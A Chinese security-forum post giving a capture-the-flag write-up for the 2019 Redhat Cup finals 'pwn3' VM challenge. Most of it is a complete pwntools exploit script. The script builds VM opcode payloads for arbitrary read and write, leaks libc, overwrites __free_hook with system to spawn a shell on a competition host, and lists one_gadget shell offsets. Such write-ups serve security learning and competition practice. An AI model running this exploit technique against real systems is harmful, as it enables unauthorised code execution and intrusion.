首页
论坛
课程
招聘
[原创]2019-redhat决赛-pwn3
2019-11-24 07:16 4911

[原创]2019-redhat决赛-pwn3

2019-11-24 07:16
4911

好久没论坛发帖,来刷个存在感,顺便贴一下我的专栏----pwn踩坑之路,有事没事会在上面水一篇两篇的帖子。
昨天参加的红帽杯决赛,一共有四个pwn题,我在最后的时候把pwn3解出来了,菜鸡的本质就是慢。
这是我做的第一道VM题目,平常都是不做VM(因为我懒,而且队友会做),无奈这次都是VM题目,就只能硬着头皮看了。最后做出来了,还是很开心。
这道题目的运算逻辑挺多的,我是从头到尾慢慢分析,直到把所有的流程全部分析结束之后,找到了任意地址读和任意地址写的办法,然后首先泄露libc,再将free_hook改成system,最终free('sh')拿到的shell。

checksec : PIE没开 i386

exp:如下

#https://github.com/matrix1001/welpwn
from PwnContext import *
from pwn import *
import sys, os

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    def change_ld(binary, ld):
        """
        Force to use assigned new ld.so by changing the binary
        """
        if not os.access(ld, os.R_OK): 
            log.failure("Invalid path {} to ld".format(ld))
            return None


        if not isinstance(binary, ELF):
            if not os.access(binary, os.R_OK): 
                log.failure("Invalid path {} to binary".format(binary))
                return None
            binary = ELF(binary)


        for segment in binary.segments:
            if segment.header['p_type'] == 'PT_INTERP':
                size = segment.header['p_memsz']
                addr = segment.header['p_paddr']
                data = segment.data()
                if size <= len(ld):
                    log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
                    return None
                binary.write(addr, ld.ljust(size, '\0'))
                if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
                path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
                if os.access(path, os.F_OK): 
                    os.remove(path)
                    info("Removing exist file {}".format(path))
                binary.save(path)    
                os.chmod(path, 0b111000000) #rwx------
        success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path)) 
        return ELF(path)
    elf = change_ld('./pwn', './ld.so')
    #ctx = elf.process(env={'LD_PRELOAD':'./libc.so.6'})
    #ctx.binary = './pwn'
    ctx = remote('172.16.9.41',9003)




    #ctx.breakpoints = [0x08049719,0x08048A92,0x08048A7A,0x08048812,0x0804886B]#menu:08049719  add_1:0x0804974D printf:0x0804979C  add_finish:0x080497AD play:0x08048732

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    def add(payload):
        sla('>>>',1)
        sleep(0.1)
        s(payload)

    def delete():
        sla('>>>',3)

    def play():
        sla('exit\n>>> ',2)

    def copy(a,b):
        payload = ""
        payload += '\0'+chr(a)+chr(b)
        return payload
    def sum_add(a,b):
        payload = ""
        payload += '\x40'+chr(a)+chr(b)
        return payload
    def put():
        payload = ""
        payload += "\x11\x01"
        return payload
    def get():
        payload = ""
        payload = '\x11\x00'
        return payload
    def out():
        payload='\xb0'
        return payload
    def sum_delete(a,b):
        payload = '\x50'+chr(a)+chr(b)
        return payload
    #rs('remote')
    #rs()


    payload = copy(3,10)+put()+sum_add(3,0x6a)+put()+sum_add(3,0x6a)+put()+sum_add(3,0x6a)+put()+out()
    payload = payload.ljust(0x70,'\0')
    payload += p32(1)+'sh\0\0'#6b

    add(payload+'\n') #
    #dbg()
    delete()
    play()
    #ru('\xb0')
    #libc = '\xb0'+r(3)
    #libc = ru('\xf7',drop=False)
    #libc = libc[-4:]
    libc = ru('1.',drop = True)
    libc = u32(libc)
    libc_base = libc -0x1b27b0 + 0x2000
    lg('libc_base ',libc_base)
    #raw_input()
    #one = libc_base + 0x5fbc6
    libc = ELF('./libc.so.6')
    system_addr = libc_base + libc.sym['system']
    free_hook = libc_base  + libc.sym['__free_hook']
    payload = copy(3,0xdd) + get() + sum_add(3,0x6a)+ get() + sum_add(3,0x6a)+ get() + sum_add(3,0x6a)+get()+copy(0,0x6b)+out()
    payload = payload.ljust(0x30,'\0')
    payload += p32(system_addr) + p32(free_hook)
    #gdb.attach(ctx,'b getchar')
    add(payload+'\n\n')
    #dbg()
    #gdb.attach(ctx,'b getchar')
    play()
    sleep(1)
    s(p32(system_addr))
    #dbg()
    #gdb.attach(ctx,'b getchar')
    delete()

    irt()

'''
0x3ac5c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

0x3ac5e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3ac62 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3ac69 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5fbc5 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5fbc6 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL
'''

跟一跟程序逻辑就明白怎么读写了,有的逻辑是重复的。have fun.


《0day安全 软件漏洞分析技术(第二版)》第三次再版印刷预售开始!

上传的附件:
收藏
点赞2
打赏
分享
最新回复 (2)
雪    币: 5137
活跃值: 活跃值 (6178)
能力值: (RANK:65 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2019-11-24 11:49
2
0
感谢分享!
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_qbuvldnn 活跃值 2019-11-25 09:31
3
0
感谢分享
游客
登录 | 注册 方可回帖
返回